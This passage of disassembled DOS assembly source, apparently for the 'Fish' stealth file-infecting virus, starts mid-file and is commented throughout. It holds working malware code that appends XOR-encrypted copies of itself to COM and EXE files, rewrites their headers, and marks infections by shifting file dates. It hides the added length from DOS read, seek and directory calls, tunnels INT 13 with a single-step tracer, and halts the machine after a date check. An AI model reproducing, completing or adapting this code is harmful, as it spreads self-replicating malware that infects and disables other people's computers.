		mov	ax,[bp+4]
		mov	word ptr ds:data_1e+2,ax	; (0000:000C=7F6h)
loc_60:
		jmp	dos_0F			; (0381)

		db	'FISH'

;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
;			       SUBROUTINE
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ

sub_15		proc	near
		call	sub_27			; (0BD0)
		call	sub_16			; (0804)
		mov	exe_flag,1		; (cs:0020)
		cmp	buffer,5A4Dh		; (cs:0E00) 'MZ'
		je	loc_61			; Jump if equal
		cmp	buffer,4D5Ah		; (cs:0E00) 'ZM'
		je	loc_61			; Jump if equal
		dec	exe_flag		; (cs:0020)
		jz	loc_64			; Jump if zero
loc_61:
		mov	ax,data_43		; (cs:0E04=0)
		shl	cx,1			; Shift w/zeros fill
		mul	cx			; dx:ax = reg * ax
		add	ax,200h
		cmp	ax,si
		jb	loc_63			; Jump if below
		mov	ax,data_45		; (cs:0E0A=0)
		or	ax,data_46		; (cs:0E0C=0)
		jz	loc_63			; Jump if zero
		mov	dx,file_pos1+2		; (cs:0EAB=0)
		mov	cx,200h
		mov	ax,file_pos1		; (cs:0EA9=0)
		div	cx			; ax,dx rem=dx:ax/reg
		or	dx,dx			; Zero ?
		jz	loc_62			; Jump if zero
		inc	ax
loc_62:
		mov	data_41,dx		; (cs:0E02=0)
		mov	data_43,ax		; (cs:0E04=0)
		cmp	data_49,1		; (cs:0E14=0)
		je	loc_65			; Jump if equal
		mov	data_49,1		; (cs:0E14=0)
		mov	ax,si
		sub	ax,data_44		; (cs:0E08=0)
		mov	data_50,ax		; (cs:0E16=0)
		add	data_43,7		; (cs:0E04=0)
		mov	data_48,offset buffer	; (cs:0E10=0)
		mov	data_47,ax		; (cs:0E0E=0)
		call	sub_17			; (0866)
loc_63:
		jmp	short loc_65		; (07E6)
loc_64:
		cmp	si,0F00h
		jae	loc_65			; Jump if above or =
		mov	ax,buffer		; (cs:0E00=0)
		mov	data_23,ax		; (cs:0004=0FBE9h)
		add	dx,ax
		mov	ax,buffer+2		; (cs:0E02=0)
		mov	data_24,ax		; (cs:0006=0)
		add	dx,ax
		mov	ax,buffer+4		; (cs:0E04=0)
		mov	data_26,ax		; (cs:0008=0)
		not	ax
		add	dx,ax			; Calc checksum
		jz	loc_65			; Infected ?
		mov	ax,file_attr		; (cs:0EF2=0)
		and	al,4
		jnz	loc_65			; Jump if not zero
		mov	cl,0E9h 		; 'Jmp' opcode
		mov	ax,10h
		mov	byte ptr buffer,cl	; (cs:0E00=0)
		mul	si			; dx:ax = reg * ax
		add	ax,offset virus_entry - 3
		mov	word ptr buffer+1,ax	; (cs:0E01=0)
		mov	ax,buffer		; (cs:0E00=0)
		add	ax,buffer+2		; (cs:0E02=0)
		neg	ax
		not	ax
		mov	data_43,ax		; (cs:0E04=0)
		call	sub_17			; (0866)
loc_65:
		mov	ah,3Eh			; Close a file with handle BX
		call	sub_1			; Call INT 21
		mov	cx,cs:file_attr 	; (cs:0EF2)
		mov	ax,4301h		; Put file attributes
		mov	dx,cs:data_103		; (cs:0EF4=0)
		mov	ds,cs:data_104		; (cs:0EF6=7DBCh)
		call	sub_1			; Call INT 21
		call	sub_28			; Restore INT 13 and INT 24
		retn
sub_15		endp


;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
;			       SUBROUTINE
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ

sub_16		proc	near
		push	cs
		mov	ax,5700h		; Get file's date/time
		pop	ds
		call	sub_1			; Call INT 21
		mov	data_54,cx		; (cs:0E29=0)
		mov	ax,4200h		; LSEEK at 0:0
		mov	file_date,dx		; (cs:0E2B=0)
		xor	cx,cx
		xor	dx,dx
		call	sub_1			; Call INT 21
		mov	ah,3Fh			; Read from file with handle
		mov	dx,offset buffer
		mov	cl,1Ch
		call	sub_1			; Call INT 21
		xor	cx,cx
		mov	ax,4200h		; LSEEK at 0:0
		xor	dx,dx
		call	sub_1			; Call INT 21
		mov	cl,1Ch
		mov	ah,3Fh			; Read from file with handle
		mov	dx,offset data_23
		call	sub_1			; Call INT 21
		xor	cx,cx
		mov	ax,4202h		; LSEEK at the end
		mov	dx,cx
		call	sub_1			; Call INT 21
		mov	file_pos1+2,dx		; (cs:0EAB=0)
		mov	file_pos1,ax		; (cs:0EA9=0)
		mov	di,ax
		add	ax,0Fh
		adc	dx,0
		and	ax,0FFF0h
		sub	di,ax
		mov	cx,10h
		div	cx			; ax,dx rem=dx:ax/reg
		mov	si,ax
		retn
sub_16		endp

		db	'PIKE'

;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
;			       SUBROUTINE
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ

sub_17		proc	near
		xor	cx,cx
		mov	ax,4200h		; LSEEK at 0:0
		mov	dx,cx
		call	sub_1			; Call INT 21
		mov	cl,1Ch
		mov	ah,40h			; Write to file with handle
		mov	dx,offset buffer
		call	sub_1			; Call INT 21
		mov	ax,10h
		mul	si			; dx:ax = reg * ax
		mov	cx,dx
		mov	dx,ax
		mov	ax,4200h		; LSEEK at the end, paragraph alligned
		call	sub_1			; Call INT 21
		mov	cx,offset buffer
		xor	dx,dx
		add	cx,di
		mov	ah,40h			; Write to file with handle
		mov	byte ptr cs:data_59,1	; (cs:0E33=0)
		push	bx
		call	sub_30			; (0D79) INFECTION!!!
		pop	bx
		mov	cx,data_54		; (cs:0E29=0)
		mov	ax,5701h		; Set file's date/time
		mov	dx,file_date		; (cs:0E2B=0)
		test	dh,80h
		jnz	loc_66			; Year >= 2044 ?
		add	dh,0C8h 		; Year += 100
loc_66: 	call	sub_1			; Call INT 21
		retn
sub_17		endp


;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
;			       SUBROUTINE
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ

sub_18		proc	near
		call	sub_5			; Push all in vir's stack
		mov	di,dx
		add	di,0Dh
		push	ds
		pop	es
		jmp	short loc_68		; (08E0)

;ßßßß External Entry into Subroutine ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß

sub_19:
		call	sub_5			; Push all in vir's stack
		push	ds			; DS:DX points to a file name
		pop	es
		mov	cx,50h
		mov	di,dx
		mov	bl,0
		xor	ax,ax			; Zero register
		cmp	byte ptr [di+1],':'
		jne	loc_67			; Jump if not equal
		mov	bl,[di]
		and	bl,1Fh
loc_67:
		mov	cs:drive_num,bl 	; (cs:0E28)
		repne	scasb			; Rep zf=0+cx >0 Scan es:[di] for al
loc_68:
		mov	ax,[di-3]
		and	ax,0DFDFh
		add	ah,al
		mov	al,[di-4]
		and	al,0DFh
		add	al,ah
		mov	cs:exe_flag,0		; (cs:0020=0)
		cmp	al,0DFh
		je	loc_69			; Jump if equal
		inc	cs:exe_flag		; (cs:0020=0)
		cmp	al,0E2h
		jne	loc_70			; Jump if not equal
loc_69:
		call	sub_4			; Pop all from vir's stack
		clc				; Clear carry flag
		retn

		db	'MACKEREL'

loc_70:
		call	sub_4			; Pop all from vir's stack
		stc				; Set carry flag
		retn
sub_18		endp


;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
;			       SUBROUTINE
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ

sub_20		proc	near
		push	bx
		mov	ah,51h			; Get PSP segment
		call	sub_1			; Call INT 21
		mov	cs:data_77,bx		; (cs:0EA3=0)
		pop	bx
		retn
sub_20		endp


;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
;			       SUBROUTINE
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ

sub_21		proc	near
		call	sub_27			; (0BD0)
		push	dx
		mov	ah,36h			; Get disk space
		mov	dl,cs:drive_num 	; (cs:0E28)
		call	sub_1			; Call INT 21
		mul	cx			; dx:ax = reg * ax
		mul	bx			; dx:ax = reg * ax
		mov	bx,dx
		pop	dx
		or	bx,bx			; Zero ?
		jnz	loc_71			; Jump if not zero
		cmp	ax,4000h
		jb	loc_72			; Jump if below
loc_71:
		mov	ax,4300h		; Get file attributes
		call	sub_1			; Call INT 21
		jc	loc_72
		mov	cs:data_103,dx		; (cs:0EF4=0)
		mov	cs:file_attr,cx 	; (cs:0EF2)
		mov	cs:data_104,ds		; (cs:0EF6=7DBCh)
		mov	ax,4301h		; Put file attributes
		xor	cx,cx
		call	sub_1			; Call INT 21
		cmp	byte ptr cs:err_flag,0	; (cs:0EDA=0)
		jne	loc_72
		mov	ax,3D02h		; Open disk file with handle R/W
		call	sub_1			; Call INT 21
		jc	loc_72
		mov	bx,ax
		push	bx
		mov	ah,32h			; Get drive parameter block
		mov	dl,cs:drive_num 	; (cs:0E28)
		call	sub_1			; Call INT 21
		mov	ax,[bx+1Eh]
		mov	cs:data_98,ax		; (cs:0EEC=0)
		pop	bx
		call	sub_28			; Restore INT 13 and INT 24
		retn
loc_72:
		xor	bx,bx			; Zero register
		dec	bx
		call	sub_28			; Restore INT 13 and INT 24
		retn
sub_21		endp


;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
;			       SUBROUTINE
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ

sub_22		proc	near
		push	cx
		push	dx
		push	ax
		mov	ax,4400h		; IOCTL - get device info
		call	sub_1			; Call INT 21
		xor	dl,80h
		test	dl,80h
		jz	loc_73			; Jump if zero
		mov	ax,5700h		; Get file's date/time
		call	sub_1			; Call INT 21
		test	dh,80h
loc_73: 	pop	ax
		pop	dx
		pop	cx
		retn
sub_22		endp


;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
;			       SUBROUTINE
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ

sub_23		proc	near
		call	sub_5			; Push all in vir's stack
		xor	cx,cx
		mov	ax,4201h		; LSEEK at current position
		xor	dx,dx
		call	sub_1			; Call INT 21
		mov	cs:file_pos+2,dx	; (cs:0EA7=0)
		mov	cs:file_pos,ax		; (cs:0EA5=0)
		mov	ax,4202h		; LSEEK at the end
		xor	cx,cx
		xor	dx,dx
		call	sub_1			; Call INT 21
		mov	cs:file_pos1+2,dx	; (cs:0EAB=0)
		mov	cs:file_pos1,ax 	; (cs:0EA9=0)
		mov	ax,4200h		; LSEEK
		mov	dx,cs:file_pos		; (cs:0EA5=0)
		mov	cx,cs:file_pos+2	; (cs:0EA7=0)
		call	sub_1			; Call INT 21
		call	sub_4			; Pop all from vir's stack
		retn
sub_23		endp

		db	'FISH'

dos_57: 	or	al,al
		jnz	loc_77			; Jump if not zero
		and	cs:data_85,0FFFEh	; (cs:0EB3=0)
		call	sub_3			; Pop flags and registers
		call	sub_1			; Call INT 21
		jc	loc_76			; Jump if carry Set
		test	dh,80h
		jz	loc_75			; Jump if zero
		sub	dh,0C8h
loc_75:
		jmp	loc_27			; (0322)
loc_76:
		or	cs:data_85,1		; (cs:0EB3=0)
		jmp	loc_27			; (0322)
loc_77:
		cmp	al,1
		jne	loc_81			; Jump if not equal
		and	cs:data_85,0FFFEh	; (cs:0EB3=0)
		test	dh,80h
		jz	loc_78			; Jump if zero
		sub	dh,0C8h
loc_78:
		call	sub_22			; (098E)
		jz	loc_79			; Jump if zero
		add	dh,0C8h
loc_79:
		call	sub_1			; Call INT 21
		mov	[bp-4],ax
		adc	cs:data_85,0		; (cs:0EB3=0)
		jmp	dos_0F			; (0381)
dos_42:
		cmp	al,2
		jne	loc_81			; Jump if not equal
		call	sub_22			; (098E)
		jz	loc_81			; Jump if zero
		sub	word ptr [bp-0Ah],0E00h
		sbb	word ptr [bp-8],0
loc_81:
		jmp	loc_26			; (031E)

;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
;			       SUBROUTINE
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ

sub_24		proc	near
		call	sub_2			; Push flags and registers
		mov	ah,2Ah
		call	sub_1			; Call INT 21
		cmp	cx,7C7h
		jb	loc_82			; Jump if below
		mov	ah,9
		push	cs
		pop	ds
		mov	dx,1ABh
		call	sub_1			; Call INT 21
		hlt				; Halt processor
loc_82:
		call	sub_3			; Pop flags and registers
		retn
sub_24		endp

dos_3F:
		and	byte ptr cs:data_85,0FEh	; (cs:0EB3=0)
		call	sub_22			; (098E)
		jz	loc_81			; Jump if zero
		mov	cs:buf_adr,dx		; (cs:0EAD=0)
		mov	cs:data_83,cx		; (cs:0EAF=0)
		mov	cs:data_84,0		; (cs:0EB1=0)
		call	sub_23			; (09AC)
		mov	ax,cs:file_pos1 	; (cs:0EA9=0)
		mov	dx,cs:file_pos1+2	; (cs:0EAB=0)
		sub	ax,vir_len
		sbb	dx,0
		sub	ax,cs:file_pos		; (cs:0EA5=0)
		sbb	dx,cs:file_pos+2	; (cs:0EA7=0)
		jns	loc_84			; Jump if not sign
		mov	word ptr [bp-4],0
		jmp	loc_43			; (04DD)
loc_84:
		jnz	loc_85			; Jump if not zero
		cmp	ax,cx
		ja	loc_85			; Jump if above
		mov	cs:data_83,ax		; (cs:0EAF=0)
loc_85:
		mov	cx,cs:file_pos+2	; (cs:0EA7=0)
		mov	dx,cs:file_pos		; (cs:0EA5=0)
		or	cx,cx			; Zero ?
		jnz	loc_86			; Jump if not zero
		cmp	dx,1Ch
		jbe	loc_87			; Jump if below or =
loc_86:
		mov	dx,cs:buf_adr		; (cs:0EAD=0)
		mov	ah,3Fh			; Read from file with handle
		mov	cx,cs:data_83		; (cs:0EAF=0)
		call	sub_1			; Call INT 21
		add	ax,cs:data_84		; (cs:0EB1=0)
		mov	[bp-4],ax
		jmp	dos_0F			; (0381)
loc_87:
		mov	di,dx
		mov	si,dx
		add	di,cs:data_83		; (cs:0EAF=0)
		cmp	di,1Ch
		jb	loc_88			; Jump if below
		xor	di,di			; Zero register
		jmp	short loc_89		; (0B02)

		db	'TUNA'

loc_88:
		sub	di,1Ch
		neg	di
loc_89:
		mov	ax,dx
		mov	dx,cs:file_pos1 	; (cs:0EA9=0)
		mov	cx,cs:file_pos1+2	; (cs:0EAB=0)
		add	dx,0Fh
		adc	cx,0
		and	dx,0FFF0h
		sub	dx,vir_end-data_23
		sbb	cx,0
		add	dx,ax
		adc	cx,0
		mov	ax,4200h
		call	sub_1			; Call INT 21
		mov	cx,1Ch
		sub	cx,di
		sub	cx,si
		mov	ah,3Fh
		mov	dx,cs:buf_adr		; (cs:0EAD=0)
		call	sub_1			; Call INT 21
		add	cs:buf_adr,ax		; (cs:0EAD=0)
		sub	cs:data_83,ax		; (cs:0EAF=0)
		add	cs:data_84,ax		; (cs:0EB1=0)
		xor	cx,cx			; Zero register
		mov	ax,4200h
		mov	dx,1Ch
		call	sub_1			; Call INT 21
		jmp	loc_86			; (0ACD)

sub_25:
loc_91: 	and	cs:_null__,sp		; (cs:0E31=0)
		jmp	loc_97			; (0C97)

dos_4E_4F:	and	cs:data_85,0FFFEh	; (cs:0EB3=0)
		call	sub_3			; Pop flags and registers
		call	sub_1			; Call INT 21
		call	sub_2			; Push flags and registers
		jnc	loc_93			; Jump if carry=0
		or	cs:data_85,1		; (cs:0EB3=0)
		jmp	dos_0F			; (0381)
loc_93:
		call	sub_14			; (0515)
		test	byte ptr [bx+19h],80h
		jnz	loc_94			; Jump if not zero
		jmp	dos_0F			; (0381)
loc_94:
		sub	word ptr [bx+1Ah],0E00h
		sbb	word ptr [bx+1Ch],0
		sub	byte ptr [bx+19h],0C8h
		jmp	dos_0F			; (0381)

		db	0EBh

sub_26:
		mov	es,old_DS		; (cs:0E45=26Eh)
		push	es
		pop	ds
		dec	byte ptr ds:PSP_0003	; (026E:0003=0)
		mov	dx,ds
		dec	dx
		mov	ds,dx
		mov	ax,ds:MCB_0003		; (026D:0003=2020h)
		dec	ah
		add	dx,ax
		mov	ds:MCB_0003,ax		; (026D:0003=2020h)
		pop	di
		inc	dx
		mov	es,dx
		push	cs
		pop	ds
		call	sub_29			; (0C97)
		db	0A1h
		mov	si,all_len-2		; (0FFE)
		mov	cx,all_len/2
		mov	di,si
		std				; Set direction flag
		rep	movsw			; Rep when cx >0 Mov [si] to es:[di]
		cld				; Clear direction
		push	es
		mov	ax,offset loc_4_1
		push	ax
		mov	es,cs:old_DS		; (cs:0E45=26Eh)
		retf				; Return far

sub_27:
		mov	byte ptr cs:err_flag,0	; (cs:0EDA)
		call	sub_5			; Push all in vir's stack
		push	cs
		call	sub_25			; (0B57)
		db	088h
		mov	al,13h
		pop	ds
		call	sub_9			; Get INT 13 vector
		mov	INT_13_prt+2,es 	; (cs:0E2F)
		mov	INT_13_prt,bx		; (cs:0E2D)
		mov	word ptr old_I13+2,es	; (cs:0E3B=140Bh)
		mov	dl,2
		mov	word ptr old_I13,bx	; (cs:0E39=0)
		mov	byte ptr data_73,dl	; (cs:0E50=0)
		call	sub_7			; Set INT 01 to tracer
		mov	data_93,sp		; (cs:0EDF)
		mov	data_92,ss		; (cs:0EDD)
		push	cs
		mov	ax,offset loc_95	; 0C29
		push	ax
		mov	ax,70h
		mov	cx,0FFFFh
		mov	es,ax
		xor	di,di			; Zero register
		mov	al,0CBh 		; ret far opcode
		repne	scasb			; Rep zf=0+cx >0 Scan es:[di] for al
		dec	di
		pushf
		push	es
		push	di
		pushf
		pop	ax
		or	ah,1			; Set TF
		push	ax
		popf
		xor	ax,ax			; Zero register
		jmp	dword ptr INT_13_prt	; (cs:0E2D=0)
loc_95:
		push	cs
		pop	ds
		call	sub_29			; (0C97)
		db	08Ch
		mov	al,13h
		mov	dx,offset INT_13
		call	sub_8			; Set INT 13 vector
		mov	al,24h
		call	sub_9			; Get INT 24 vector
		mov	word ptr old_I24,bx	; (cs:0E3D)
		mov	dx,offset INT_24
		mov	al,24h
		mov	word ptr old_I24+2,es	; (cs:0E3F)
		call	sub_8			; Set INT 24 vector
		call	sub_4			; Pop all from vir's stack
		retn

sub_28:
		call	sub_5			; Push all in vir's stack
		lds	dx,cs:old_I13		; (cs:0E39) Load 32 bit ptr
		mov	al,13h
		call	sub_8			; Set INT 13 vector
		lds	dx,cs:old_I24		; (cs:0E3D) Load 32 bit ptr
		mov	al,24h
		call	sub_8			; Set INT 24 vector
		call	sub_4			; Pop all from vir's stack
		retn

int_1:		push	bp
		mov	bp,sp
		and	word ptr [bp+6],0FEFFh
		inc	word ptr [bp+1Ah]
		pop	bp
		iret

loc_96:
		mov	cs:data_73,401h 	; (cs:0E50=0)
		call	sub_7			; Set INT 01 to tracer
		call	sub_3			; Pop flags and registers
		push	ax
		mov	ax,cs:data_85		; (cs:0EB3=0)
		or	ax,100h
		push	ax
		popf
		pop	ax
		pop	bp
		jmp	dword ptr cs:INT_21_ptr ; (cs:0E35=0)

		db	089h

;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
;			       SUBROUTINE
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ

sub_29		proc	near
loc_97:
		call	sub_2			; Push flags and registers
		mov	al,1
		mov	dx,offset int_1
		push	cs
		pop	ds
		call	sub_8			; Set INT 01 vector
		pushf
		pop	ax
		or	ax,100h
		push	ax
		popf
		inc	ax
		mul	ax			; dx:ax = reg * ax
		aaa				; Ascii adjust
		mov	_null__,ax		; (cs:0E31=0)
		call	sub_3			; Pop flags and registers
		retn
sub_29		endp

		db	0FFh

tracer: 	push	bp
		mov	bp,sp
		push	ax
		cmp	word ptr [bp+4],0C000h
		jae	loc_99			; Jump if above or =
		mov	ax,cs:data_69		; (cs:0E47)
		cmp	[bp+4],ax		; Is it DOS segment?
		jbe	loc_99			; Jump if below or =
loc_98: 	pop	ax
		pop	bp
		iret
loc_99:
		cmp	byte ptr cs:data_73,1	; (cs:0E50=0)
		je	loc_101 		; Jump if equal
		mov	ax,[bp+4]
		mov	cs:INT_13_prt+2,ax	; (cs:0E2F=SEGMENT)
		mov	ax,[bp+2]
		mov	cs:INT_13_prt,ax	; (cs:0E2D=OFFSET)
		jb	loc_100 		; Jump if below
		pop	ax
		pop	bp
		mov	sp,cs:data_93		; (cs:0EDF=0)
		mov	ss,cs:data_92		; (cs:0EDD=151Ch)
		jmp	loc_95			; (0C29)
loc_100:
		and	word ptr [bp+6],0FEFFh
		jmp	short loc_98		; (0CCB)
loc_101:
		dec	byte ptr cs:data_73+1	; (cs:0E51)
		jnz	loc_98
		and	word ptr [bp+6],0FEFFh	; Stop tracing
		call	sub_5			; Push all in vir's stack
		call	sub_2			; Push flags and registers
		mov	ah,2Ch			; Get current time
		call	sub_1			; Call INT 21
		mov	byte ptr cs:[locloop_102+3],dl	; (cs:0D51=5Dh)
		mov	byte ptr cs:[locloop_103+3],dl	; (cs:0D6E=5Dh)
		sub	ah,2			; ah=2A - Get current date
		call	sub_1			; Call INT 21
		add	dh,dl
		mov	byte ptr cs:[locloop_105+3],dh	; (cs:0D84=15h)
		mov	byte ptr cs:[locloop_109+3],dh	; (cs:0DDC=15h)
		mov	al,3
		call	sub_9			; Get INT 03 vector
		push	es
		pop	ds
		mov	dx,bx
		mov	al,1
		call	sub_8			; Set INT 01 vector
		call	sub_3			; Pop flags and registers
		call	sub_6			; Swap JMP xxxx:xxxx
		call	sub_4			; Pop all from vir's stack
		push	bx
		push	cx
		mov	bx,offset data_311	; (cs:0028=0)
		mov	cx,287h
locloop_102:	xor	byte ptr cs:[bx],5Dh
		add	bx,5
		loop	locloop_102		; Loop if cx > 0
		pop	cx
		pop	bx
		jmp	short loc_100		; (0CF5)

loc_1021:	or	byte ptr cs:data_311,0	; (cs:0028=0)
		jz	loc_104 		; Jump if zero
		push	bx
		push	cx
		mov	bx,offset data_311	; (cs:0028=0)
		mov	cx,287h
locloop_103:	xor	byte ptr cs:[bx],5Dh
		add	bx,5
		loop	locloop_103		; Loop if cx > 0
		pop	cx
		pop	bx
loc_104:	jmp	loc_9			; (026C)


;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
;			       SUBROUTINE
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ

sub_30		proc	near
		push	cx
		push	bx
		mov	bx,offset data_311	; (cs:0028=0)
		mov	cx,encr_len
locloop_105:	xor	byte ptr cs:[bx],15h
		inc	bx
		loop	locloop_105		; Loop if cx > 0
		pop	bx
		pop	cx
		call	sub_1			; Call INT 21
		jmp	short virus_entry	; (0DCE)
sub_30		endp

		db	0BAh

INT_13:
		pop	cs:usr_adr		; (cs:0E41=0)
		pop	word ptr cs:usr_adr+2	; (cs:0E43=0)
		pop	cs:data_91		; (cs:0EDB=0)
		and	cs:data_91,0FFFEh	; (cs:0EDB=0)
		cmp	byte ptr cs:err_flag,0	; (cs:0EDA=0)
		jne	loc_106
		push	cs:data_91		; (cs:0EDB=0)
		call	dword ptr cs:INT_13_prt ; (cs:0E2D=0)
		jnc	loc_107
		inc	cs:err_flag		; (cs:0EDA=0)
loc_106:	stc				; Set carry flag
loc_107:	jmp	dword ptr cs:usr_adr	; (cs:0E41=0)

		db	089h

INT_24: 	xor	al,al
		mov	byte ptr cs:err_flag,1	; (cs:0EDA=0)
		iret

virus_entry:	call	sub_31			; (0DD1)
sub_31: 	pop	bx
		sub	bx,sub_31-data_311
		mov	cx,encr_len
locloop_109:	xor	byte ptr cs:[bx],15h
		inc	bx
		loop	locloop_109		; Loop if cx > 0
		dec	byte ptr cs:data_33e[bx]	; (cs:00B3+BX) = cs:0E33
		jz	loc_ret_110		; terminate program and don't run the virus ???
		jmp	loc_7			; (024A)
loc_ret_110:	retn

		db	' FISH FISH FISH FISH '
vir_end:

		org	0E00h

buffer		dw	?
data_41 	dw	?
data_43 	dw	?, ?
data_44 	dw	?
data_45 	dw	?
data_46 	dw	?
data_47 	dw	?
data_48 	dw	?, ?
data_49 	dw	?
data_50 	dw	?
		dw	6 dup (?)
data_51 	dw	?, ?
drive_num	db	?
data_54 	dw	?
file_date	dw	?
INT_13_prt	dw	?, ?
_null__ 	dw	?
data_59 	db	?, ?
INT_21_ptr	dd	?
old_I13 	dd	?
old_I24 	dd	?
usr_adr 	dw	?, ?
old_DS		dw	?
data_69 	dw	?
		dw	?
data_70 	db	?
data_71 	dw	?
data_72 	dw	?
data_73 	dw	?
file_name	db	80 dup (?)
data_76 	db	?
data_77 	dw	?
file_pos	dw	?, ?
file_pos1	dw	?, ?
buf_adr 	dw	?
data_83 	dw	?
data_84 	dw	?
data_85 	dw	?
data_86 	db	14 dup (?)
data_87 	dw	?
data_88 	dd	?
		db	?
data_89 	db	16 dup (?)
err_flag	db	?
data_91 	dw	?
data_92 	dw	?
data_93 	dw	?, ?
old_AX		dw	?
		db	?
data_95 	dw	?
data_96 	dw	?
tmp_adr 	dw	?
data_98 	dw	?
		db	?
data_99 	db	?
data_100	db	?
data_101	db	?
file_attr	dw	?
data_103	dw	?
data_104	dw	?
		db	7 dup(?)
data_105	dw	?
data_106	dw	?
data_107	dd	?
data_109	db	80 dup (?)
old_SP		dw	?
old_SS		dw	?
virus_SP	dw	?

seg_a		ends

		end